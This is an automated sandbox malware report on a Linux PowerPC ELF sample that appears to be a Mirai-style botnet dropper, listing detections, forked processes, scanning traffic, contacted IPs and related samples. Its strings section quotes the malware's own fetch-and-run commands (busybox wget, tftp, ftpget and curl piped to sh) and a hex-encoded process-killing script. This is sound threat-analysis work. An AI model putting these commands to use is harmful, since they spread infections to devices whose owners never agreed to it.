Edit tour

Linux Analysis Report
splppc.elf

Overview

General Information

Sample name:	splppc.elf
Analysis ID:	1563495
MD5:	2f7cb04d730a0afa9e0de4a7be2c6cf7
SHA1:	92ab523534b9045b99552dd413195bd2acc9c5e2
SHA256:	b39dcd201b876f7259aa123eb70b08d532754623a5f9ab41d9af8fce2931ce40
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1563495
Start date and time:	2024-11-27 01:26:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	splppc.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/145@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/splppc.elf
PID:	6264
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

splppc.elf (PID: 6264, Parent: 6187, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/splppc.elf

splppc.elf New Fork (PID: 6266, Parent: 6264)

splppc.elf New Fork (PID: 6268, Parent: 6266)

splppc.elf New Fork (PID: 6270, Parent: 6266)

splppc.elf New Fork (PID: 6271, Parent: 6266)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: splppc.elf

ReversingLabs: Detection: 42%

Source: splppc.elf

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 7.73.162.204
Source: unknown	TCP traffic detected without corresponding DNS query: 92.229.41.21
Source: unknown	TCP traffic detected without corresponding DNS query: 52.36.167.142
Source: unknown	TCP traffic detected without corresponding DNS query: 80.184.8.17
Source: unknown	TCP traffic detected without corresponding DNS query: 28.132.25.247
Source: unknown	TCP traffic detected without corresponding DNS query: 50.204.213.129
Source: unknown	TCP traffic detected without corresponding DNS query: 165.155.38.183
Source: unknown	TCP traffic detected without corresponding DNS query: 65.54.35.136
Source: unknown	TCP traffic detected without corresponding DNS query: 42.220.145.5
Source: unknown	TCP traffic detected without corresponding DNS query: 8.238.139.212
Source: unknown	TCP traffic detected without corresponding DNS query: 195.205.194.195
Source: unknown	TCP traffic detected without corresponding DNS query: 76.4.229.57
Source: unknown	TCP traffic detected without corresponding DNS query: 180.194.14.68
Source: unknown	TCP traffic detected without corresponding DNS query: 115.178.43.75
Source: unknown	TCP traffic detected without corresponding DNS query: 152.4.5.75
Source: unknown	TCP traffic detected without corresponding DNS query: 55.197.227.79
Source: unknown	TCP traffic detected without corresponding DNS query: 172.190.201.255
Source: unknown	TCP traffic detected without corresponding DNS query: 84.198.222.247
Source: unknown	TCP traffic detected without corresponding DNS query: 28.164.174.171
Source: unknown	TCP traffic detected without corresponding DNS query: 23.158.111.150
Source: unknown	TCP traffic detected without corresponding DNS query: 80.132.0.25
Source: unknown	TCP traffic detected without corresponding DNS query: 66.124.51.164
Source: unknown	TCP traffic detected without corresponding DNS query: 96.242.162.172
Source: unknown	TCP traffic detected without corresponding DNS query: 151.213.14.113
Source: unknown	TCP traffic detected without corresponding DNS query: 122.135.152.84
Source: unknown	TCP traffic detected without corresponding DNS query: 94.129.62.171
Source: unknown	TCP traffic detected without corresponding DNS query: 151.197.245.68
Source: unknown	TCP traffic detected without corresponding DNS query: 80.193.152.30
Source: unknown	TCP traffic detected without corresponding DNS query: 101.6.25.240
Source: unknown	TCP traffic detected without corresponding DNS query: 216.125.34.167
Source: unknown	TCP traffic detected without corresponding DNS query: 146.120.131.145
Source: unknown	TCP traffic detected without corresponding DNS query: 131.143.0.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.144.145.255
Source: unknown	TCP traffic detected without corresponding DNS query: 212.18.90.11
Source: unknown	TCP traffic detected without corresponding DNS query: 68.82.14.122
Source: unknown	TCP traffic detected without corresponding DNS query: 67.48.7.211
Source: unknown	TCP traffic detected without corresponding DNS query: 27.182.146.7
Source: unknown	TCP traffic detected without corresponding DNS query: 173.198.202.64
Source: unknown	TCP traffic detected without corresponding DNS query: 187.207.45.107
Source: unknown	TCP traffic detected without corresponding DNS query: 52.245.120.38
Source: unknown	TCP traffic detected without corresponding DNS query: 215.148.222.54
Source: unknown	TCP traffic detected without corresponding DNS query: 29.67.85.25
Source: unknown	TCP traffic detected without corresponding DNS query: 59.153.118.146
Source: unknown	TCP traffic detected without corresponding DNS query: 213.209.9.56
Source: unknown	TCP traffic detected without corresponding DNS query: 1.175.198.5
Source: unknown	TCP traffic detected without corresponding DNS query: 62.232.16.133
Source: unknown	TCP traffic detected without corresponding DNS query: 130.104.92.49
Source: unknown	TCP traffic detected without corresponding DNS query: 171.155.36.127
Source: unknown	TCP traffic detected without corresponding DNS query: 13.43.123.240

Source: splppc.elf	String found in binary or memory: http:///curl.sh
Source: splppc.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D

Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6285/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6285/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6285/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6285/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6296/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6296/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6296/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6296/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6351/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6351/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6295/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6295/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6295/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6295/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6287/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6287/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6287/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6287/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6298/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6298/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6298/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6298/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6286/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6286/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6286/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6286/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6297/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6297/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6297/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6297/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6289/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6289/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6289/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6289/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6300/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6300/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6300/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6300/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6288/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6288/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6288/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6288/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6299/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6299/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6299/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6299/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6290/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6290/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6290/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6290/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6292/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6292/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6292/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6292/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6291/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6291/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6291/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6291/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6294/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6294/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6294/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6294/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6293/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6293/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6293/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6293/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6337/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6270)	File opened: /proc/6337/cmdline	Jump to behavior

Source: splppc.elf, 6264.1.0000558d9a173000.0000558d9a223000.rw-.sdmp, splppc.elf, 6268.1.0000558d9a173000.0000558d9a223000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc1
Source: splppc.elf, 6264.1.0000558d9a173000.0000558d9a223000.rw-.sdmp, splppc.elf, 6268.1.0000558d9a173000.0000558d9a223000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/ppc
Source: splppc.elf, 6264.1.00007ffd964ce000.00007ffd964ef000.rw-.sdmp, splppc.elf, 6268.1.00007ffd964ce000.00007ffd964ef000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-ppc
Source: splppc.elf, 6264.1.00007ffd964ce000.00007ffd964ef000.rw-.sdmp, splppc.elf, 6268.1.00007ffd964ce000.00007ffd964ef000.rw-.sdmp	Binary or memory string: =x86_64/usr/bin/qemu-ppc/tmp/splppc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splppc.elf

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	splppc.elf	false		high
http:///curl.sh	splppc.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
42.104.89.231	unknown	India	55410	VIL-AS-APVodafoneIdeaLtdIN	false
22.179.150.62	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
209.204.56.99	unknown	United States	22413	EMPOWERUS	false
196.86.241.86	unknown	Morocco	6713	IAM-ASMA	false
164.229.61.83	unknown	United States	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
147.164.44.245	unknown	United States	1484	DNIC-AS-01484US	false
21.1.116.73	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
90.239.251.214	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
4.100.59.191	unknown	United States	3356	LEVEL3US	false
5.198.92.61	unknown	United Kingdom	12390	KINGSTON-UK-ASGB	false
93.207.122.84	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
161.233.189.76	unknown	United States	396269	BPL-ASNUS	false
92.17.105.183	unknown	United Kingdom	13285	OPALTELECOM-ASTalkTalkCommunicationsLimitedGB	false
188.55.251.62	unknown	Saudi Arabia	25019	SAUDINETSTC-ASSA	false
1.219.232.76	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
15.164.148.113	unknown	United States	16509	AMAZON-02US	false
27.116.61.255	unknown	Cambodia	55636	TPLC-KHTPLCHoldingLtdKH	false
181.17.95.237	unknown	Venezuela	27889	TelecomunicacionesMOVILNETVE	false
159.75.105.94	unknown	China	1257	TELE2EU	false
153.201.179.176	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
134.233.23.29	unknown	United States	531	DNIC-AS-00531US	false
205.196.58.87	unknown	United States	7992	COGECOWAVECA	false
21.205.138.200	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
212.144.145.255	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
108.119.255.103	unknown	United States	10507	SPCSUS	false
85.8.118.227	unknown	Germany	9145	EWETELCloppenburgerStrasse310DE	false
176.153.112.3	unknown	France	5410	BOUYGTEL-ISPFR	false
39.159.62.8	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
7.203.61.178	unknown	United States	3356	LEVEL3US	false
107.92.74.79	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
155.173.134.138	unknown	United States	797	AMERITECH-ASUS	false
131.41.14.32	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
77.147.239.244	unknown	France	15557	LDCOMNETFR	false
38.212.180.127	unknown	United States	174	COGENT-174US	false
79.131.21.133	unknown	Greece	6799	OTENET-GRAthens-GreeceGR	false
35.170.43.236	unknown	United States	14618	AMAZON-AESUS	false
77.255.19.146	unknown	Poland	12741	AS-NETIAWarszawa02-822PL	false
131.135.43.179	unknown	Canada	74	SSC-299-Z-74CA	false
32.145.59.193	unknown	United States	2686	ATGS-MMD-ASUS	false
105.65.99.163	unknown	Morocco	36884	MAROCCONNECTMA	false
135.123.215.118	unknown	United States	18676	AVAYAUS	false
115.21.49.251	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
207.148.41.232	unknown	Hong Kong	59371	DNC-ASDimensionNetworkCommunicationLimitedHK	false
220.119.223.209	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
147.38.7.126	unknown	United States	1559	DNIC-ASBLK-01550-01601US	false
133.135.189.41	unknown	Japan	9595	XEPHIONNTT-MECorporationJP	false
45.29.102.226	unknown	United States	7018	ATT-INTERNET4US	false
142.48.117.54	unknown	Canada	3633	PROVINCE-OF-BRITISH-COLUMBIACA	false
148.240.22.110	unknown	Mexico	6503	AxtelSABdeCVMX	false
117.124.54.78	unknown	China	7641	CHINABTNChinaBroadcastingTVNetCN	false
212.25.189.180	unknown	Italy	12637	SEEWEBWebhostingcolocationandcloudservicesIT	false
150.216.119.84	unknown	United States	10952	ECU-ASUS	false
74.176.81.99	unknown	United States	10796	TWC-10796-MIDWESTUS	false
40.21.75.199	unknown	United States	4249	LILLY-ASUS	false
223.221.129.135	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
119.151.6.164	unknown	India	45432	MBTNET-INTechMahindraLimitedIN	false
33.243.135.237	unknown	United States	2686	ATGS-MMD-ASUS	false
98.84.63.248	unknown	United States	11351	TWC-11351-NORTHEASTUS	false
139.40.118.68	unknown	United States	9905	LINKNET-ID-APLinknetASNID	false
202.203.234.220	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
128.171.77.101	unknown	United States	6360	UNIVHAWAIIUS	false
190.57.15.178	unknown	El Salvador	263783	TelefonicaMovilesElSalvadorSAdeCVSV	false
25.250.82.131	unknown	United Kingdom	199055	UKCLOUD-ASGB	false
161.192.140.8	unknown	United States	263740	CorporacionLaceibanetsocietyHN	false
205.5.118.35	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
68.5.6.253	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
11.241.96.157	unknown	United States	3356	LEVEL3US	false
163.237.114.163	unknown	United States	19255	YOUR-ORG-INC-NAUS	false
77.0.255.133	unknown	Germany	6805	TDDE-ASN1DE	false
200.22.71.181	unknown	Chile	2715	FundacaoCarlosChagasFilhodeAmparoaPesquisaBR	false
32.73.52.54	unknown	United States	2686	ATGS-MMD-ASUS	false
206.148.84.128	unknown	United States	174	COGENT-174US	false
205.228.159.131	unknown	United States	5049	MORGAN-ASNUS	false
201.0.166.56	unknown	Brazil	27699	TELEFONICABRASILSABR	false
167.3.113.86	unknown	United States	6448	QADUS	false
27.17.92.156	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
86.116.206.179	unknown	Switzerland	9142	CommercialISPGB	false
222.254.247.79	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
201.108.131.191	unknown	Mexico	8151	UninetSAdeCVMX	false
170.161.32.153	unknown	United States	11685	HNBCOL-ASUS	false
78.117.64.209	unknown	France	8228	CEGETEL-ASFR	false
145.167.125.99	unknown	Netherlands	59524	KPN-IAASNL	false
12.7.60.186	unknown	United States	7018	ATT-INTERNET4US	false
9.5.61.161	unknown	United States	3356	LEVEL3US	false
146.215.199.14	unknown	United States	9619	SSDSonyGlobalSolutionsIncJP	false
209.136.205.172	unknown	United States	11402	CCCAS-1US	false
18.87.97.125	unknown	United States	3	MIT-GATEWAYSUS	false
45.220.108.29	unknown	Seychelles	22769	DDOSING-BGP-NETWORKUS	false
80.5.20.90	unknown	United Kingdom	5089	NTLGB	false
27.122.213.250	unknown	Korea Republic of	4668	LGNET-AS-KRLGCNSKR	false
81.200.117.158	unknown	Russian Federation	198610	BEGET-ASRU	false
36.25.76.185	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
65.196.168.109	unknown	United States	701	UUNETUS	false
213.108.70.111	unknown	France	16347	RMI-FITECHFR	false
7.179.75.141	unknown	United States	3356	LEVEL3US	false
185.95.79.137	unknown	United Kingdom	35071	UK-XOOM-SYSTEMS-ASGB	false
118.188.236.104	unknown	China	137443	ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK	false
58.44.27.64	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
69.98.38.106	unknown	United States	4261	BLUEGRASSNETUS	false
6.51.9.105	unknown	United States	1464	DNIC-ASBLK-01464-01465US	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
burnthe.libre	mpsl.elf	Get hash	malicious	Unknown	Browse	154.213.187.242
	nabppc.elf	Get hash	malicious	Unknown	Browse	154.213.187.242
	ppc.elf	Get hash	malicious	Unknown	Browse	154.213.187.213
	sh4.elf	Get hash	malicious	Unknown	Browse	154.213.187.214
	nabmips.elf	Get hash	malicious	Unknown	Browse	154.213.187.248
	nabarm.elf	Get hash	malicious	Unknown	Browse	154.213.187.245
	nabarm5.elf	Get hash	malicious	Unknown	Browse	154.213.187.242
	zerarm5.elf	Get hash	malicious	Unknown	Browse	154.213.187.248
	splarm5.elf	Get hash	malicious	Unknown	Browse	154.213.187.213
	nklm68k.elf	Get hash	malicious	Unknown	Browse	154.213.187.242

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VIL-AS-APVodafoneIdeaLtdIN	sora.mips.elf	Get hash	malicious	Mirai	Browse	23.202.179.178
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	123.63.98.55
	SuNMTBkfPo.elf	Get hash	malicious	Unknown	Browse	123.63.74.76
	jklmpsl.elf	Get hash	malicious	Unknown	Browse	118.185.13.56
	nabsh4.elf	Get hash	malicious	Unknown	Browse	182.19.72.135
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	118.185.32.6
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	123.63.181.173
	na.elf	Get hash	malicious	Mirai	Browse	118.185.86.15
	79VAlgfTk8.elf	Get hash	malicious	Mirai	Browse	42.104.90.162
	na.elf	Get hash	malicious	Mirai	Browse	23.202.179.155
IAM-ASMA	nklm68k.elf	Get hash	malicious	Unknown	Browse	197.129.147.216
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	196.88.230.208
	fbot.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	105.152.210.168
	fbot.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	105.144.98.253
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	196.78.65.101
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	154.146.235.183
	loligang.spc.elf	Get hash	malicious	Mirai	Browse	105.144.99.8
	loligang.arm.elf	Get hash	malicious	Mirai	Browse	160.89.94.119
	apep.m68k.elf	Get hash	malicious	Unknown	Browse	196.72.31.189
	apep.sh4.elf	Get hash	malicious	Mirai	Browse	154.145.140.116
MICROSOFT-CORP-MSN-AS-BLOCKUS	x86.elf	Get hash	malicious	Unknown	Browse	40.89.126.113
	nabppc.elf	Get hash	malicious	Unknown	Browse	21.168.88.71
	ppc.elf	Get hash	malicious	Unknown	Browse	21.18.96.174
	https://www.neositrin.es/wp-admin/config/login.php?	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	104.41.228.142
	nabmips.elf	Get hash	malicious	Unknown	Browse	52.122.122.165
	nabarm.elf	Get hash	malicious	Unknown	Browse	102.37.252.139
	nabarm5.elf	Get hash	malicious	Unknown	Browse	21.200.11.99
	nklarm5.elf	Get hash	malicious	Unknown	Browse	22.106.205.239
	splmpsl.elf	Get hash	malicious	Unknown	Browse	22.160.141.143
	splarm5.elf	Get hash	malicious	Unknown	Browse	20.226.157.153
